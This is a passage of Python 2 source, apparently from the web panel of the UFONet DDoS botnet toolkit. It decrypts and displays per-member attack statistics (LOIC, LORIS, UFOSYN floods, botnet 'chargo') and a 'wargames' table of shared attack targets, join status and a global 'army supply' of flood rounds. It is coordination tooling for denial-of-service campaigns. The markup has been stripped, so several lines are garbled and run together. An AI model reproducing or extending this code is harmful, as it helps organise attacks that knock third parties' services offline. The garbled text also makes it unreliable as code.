" try: grid_key = pGet["grid_key"] except: grid_key = "" end_mark = "[Mothership/Info] End of decryption." if grid_key is not "": # grid decryption # Mothership stats counters mothership_members = 0 member_1 = 0 # Rookie member_2 = 0 # Mercenary member_3 = 0 # Bandit member_4 = 0 # UFOmmander! mothership_missions = 0 mothership_transferred = 0 mothership_attacks = 0 mothership_loic = 0 mothership_loris = 0 mothership_ufosyn = 0 mothership_chargo = 0 mothership_dorking = 0 mothership_maxchargo = 0 nodec_text = "KEY?" grid_table = "
MEMBERS STATS:

" grid_key = pGet["grid_key"] f = open("/tmp/out", "w") self.list_grid_rev = reversed(self.list_grid) # order by DESC for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, contact, ID if grid_msg_sep in m: version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1) m = m.split(grid_msg_sep) grid_nickname = m[0] # nickname self.decrypt(grid_key, grid_nickname) if self.decryptedtext: grid_nickname = self.decryptedtext else: grid_nickname = nodec_text self.decryptedtext = "" # clean decryptedtext buffer if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3View" # js contact view except: grid_contact = "View" # js error contact view except: pass try: grid_id = m[12] # id except: pass elif version == 11: # v1.0 grid_loris = m[9] # loris self.decrypt(grid_key, grid_loris) if self.decryptedtext: grid_loris = self.decryptedtext else: grid_loris = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_loris = int(grid_loris) mothership_loris = mothership_loris + grid_loris except: grid_loris = nodec_text grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present self.decrypt(grid_key, grid_ufosyn) if self.decryptedtext: grid_ufosyn = self.decryptedtext else: grid_ufosyn = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_ufosyn = int(grid_ufosyn) mothership_ufosyn = mothership_ufosyn + grid_ufosyn except: grid_ufosyn = nodec_text try: # decrypt + parse contact len + correct js view (without blank spaces) grid_contact = m[10] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3View" # js contact view except: grid_contact = "View" # js error contact view except: pass try: grid_id = m[11] # id except: pass elif version == 10: # v0.9 grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present self.decrypt(grid_key, grid_loris) if self.decryptedtext: grid_loris = self.decryptedtext else: grid_loris = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_loris = int(grid_loris) mothership_loris = mothership_loris + grid_loris except: grid_loris = nodec_text grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present self.decrypt(grid_key, grid_ufosyn) if self.decryptedtext: grid_ufosyn = self.decryptedtext else: grid_ufosyn = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_ufosyn = int(grid_ufosyn) mothership_ufosyn = mothership_ufosyn + grid_ufosyn except: grid_ufosyn = nodec_text try: # decrypt + parse contact len + correct js view (without blank spaces) grid_contact = m[9] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3View" # js contact view except: grid_contact = "View" # js error contact view except: pass try: grid_id = m[10] # id except: pass else: # no valid version pass try: # parsing for valid stream struct grid_nickname = str(grid_nickname) grid_table += "" except: grid_table += "" grid_table += "
NICKNAME:RANKING:CHARGO:DORKING:TRANSF:MAX.CHARGO:MISSIONS:ATTACKS:LOIC:LORIS:UFOSYN:CONTACT:
"+str(grid_nickname)+""+str(grid_ranking)+""+str(grid_totalchargo)+""+str(grid_dorking)+""+str(grid_transferred)+""+str(grid_maxchargo)+""+str(grid_missions)+""+str(grid_attacks)+""+str(grid_loic)+""+str(grid_loris)+""+str(grid_ufosyn)+""+str(grid_contact)+"
INVALID!INVALID!INVALID!INVALID!INVALID!INVALID!INVALID!INVALID!INVALID!INVALID!INVALID!INVALID!

" l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time mother_table = "
MOTHERSHIP STATS: (Last Update: "+str(l)+")

MEMBERS:"+str(mothership_members)+"****"+str(member_4)+"***"+str(member_3)+"**"+str(member_2)+"*"+str(member_1)+"
MISSIONS:"+str(mothership_missions)+"ATTACKS:"+str(mothership_attacks)+"LOIC:"+str(mothership_loic)+"LORIS:"+str(mothership_loris)+"UFOSYN:"+str(mothership_ufosyn)+"
CHARGO (ACTIVE!):"+str(mothership_chargo)+"DORKING:"+str(mothership_dorking)+"MAX.CHARGO:"+str(mothership_maxchargo)+"



" f.write(mother_table) f.write(grid_table) f.write(end_mark) f.close() else: # not valid stream data pass if page == "/cmd_decrypt_grid_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_decrypt_grid_update"] = "
"+f.read()+"
"
        if page == "/cmd_decrypt_wargames":
            self.pages["/cmd_decrypt_wargames"] = "
Waiting for decrypting results...
" wargames_join_flag = False # anti-join flag for non decrypted wargames try: wargames_deckey = pGet["wargames_deckey"] except: wargames_deckey = "" end_mark = "[Mothership/Info] End of decryption." if wargames_deckey is not "": # wargames decryption nodec_text = "KEY?" try: # read global army supply from configuration file (json) with open(self.mothership_supplycfg_file) as data_file: data = json.load(data_file) except: if os.path.exists(self.mothership_supplycfg_file) == True: print '[Error] - Cannot open: "core/json/supplycfg.json"...\n' sys.exit(2) else: # generate default global army supply configuration file print '[Info] - Cannot found: "core/json/supplycfg.json". Generating...\n' with open(self.mothership_supplycfg_file, "w") as f: json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0}, f, indent=4) with open(self.mothership_supplycfg_file) as data_file: data = json.load(data_file) self.supply_botnet = data["botnet"] self.supply_loic = data["loic"] self.supply_loris = data["loris"] self.supply_ufosyn = data["ufosyn"] f = open(self.wargames_file,"r") ls = f.readlines() f.close() if ls: wargames_autopanel = "MASSIVE ACTION:



" wargames_supply = "GLOBAL ARMY SUPPLY (rounds):

BOTNET ("+str(self.total_botnet)+"):LOIC:LORIS:UFOSYN:


" else: wargames_autopanel = "" wargames_supply = "" wargames_table = wargames_autopanel + wargames_supply +"" f = open("/tmp/out", "w") self.list_wargames_rev = reversed(self.list_wargames) # order by DESC wargames_id = 1 for m in self.list_wargames_rev: # list = creation, target, estimated if wargames_msg_sep in m: m = m.split(wargames_msg_sep) wargames_creation = m[0] # creation date self.decrypt(wargames_deckey, wargames_creation) if self.decryptedtext: wargames_creation = self.decryptedtext else: wargames_creation = nodec_text self.decryptedtext = "" # clean decryptedtext buffer wargames_target = m[1] # target wargames_target_joined = wargames_target self.decrypt(wargames_deckey, wargames_target) if self.decryptedtext: wargames_target = self.decryptedtext if wargames_target.startswith("www."): wargames_target = wargames_target.replace("www.","") else: wargames_target = nodec_text self.decryptedtext = "" # clean decryptedtext buffer wargames_estimated = m[2] # estimated time self.decrypt(wargames_deckey, wargames_estimated) if self.decryptedtext: wargames_estimated = self.decryptedtext wargames_join_flag = True else: wargames_estimated = nodec_text self.decryptedtext = "" # clean decryptedtext buffer else: wargames_target = "KEY?" now = strftime("%d-%m-%Y %H:%M:%S", gmtime()) now = strptime(now, "%d-%m-%Y %H:%M:%S") try: wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S") wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S") except: # discarding errors also on panel wargames_creation = now wargames_estimated = now if wargames_target == "KEY?": # allow to discard unencrypted wargames wargames_creation = now wargames_estimated = now if (now >= wargames_estimated) == False: # change flag color when time is out time_now = time.mktime(now) time_estimated = time.mktime(wargames_estimated) wargames_eta = (time_estimated - time_now) hours, rem = divmod(wargames_eta, 3600) minutes, seconds = divmod(rem, 60) if "!!!" in wargames_target_joined: status = "JOINED!" wargames_status = ""+status+"" if wargames_join_flag == True: wargames_join = "" else: wargames_join = "KEY?" # present but with a different crypto-key wargames_eta = "{:0>2}h {:0>2}m {:02}s".format(int(hours),int(minutes),int(seconds)) wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated) time_flag = ""+str(wargames_estimated)+"" wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation) creation_flag = ""+str(wargames_creation)+"" else: status = "-ONGOING-" wargames_status = ""+status+"" if wargames_join_flag == True: wargames_join = "" else: wargames_join = "KEY?" # present but with a different crypto-key wargames_eta = "{:0>2}h {:0>2}m {:02}s".format(int(hours),int(minutes),int(seconds)) wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated) time_flag = ""+str(wargames_estimated)+"" wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation) creation_flag = ""+str(wargames_creation)+"" else: wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated) time_flag = ""+str(wargames_estimated)+"" wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation) creation_flag = ""+str(wargames_creation)+"" wargames_join = "" wargames_eta = "OUT-OF-TIME" status = "-CLOSED-" wargames_status = ""+status+"" wargames_table += "" wargames_id = wargames_id + 1 wargames_table += "
CREATION:TARGET:DATE:ETA:ACTION:STATUS:
"+creation_flag+""+str(wargames_target)+""+time_flag+""+wargames_eta+""+wargames_join+""+wargames_status+"

" f.write(wargames_table) f.write(end_mark) f.close() if page == "/cmd_decrypt_wargames_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_decrypt_wargames_update"] = "
"+f.read()+"
"
        if page == "/blackholes":
            self.pages["/blackholes"] = self.html_blackholes()
        if page == "/requests":
            if pGet=={}:
                self.pages["/requests"] = self.html_requests()
            else:
                self.save_cfg(pGet)
                self.pages["/requests"] = self.html_request_submit()
        if page == "/abduction":
            self.pages["/abduction"] = self.html_abduction()
        if page == "/stats":
            self.pages["/stats"] = self.html_stats()
        if page == "/wormhole":
            self.pages["/wormhole"] = self.pages["/header"] + "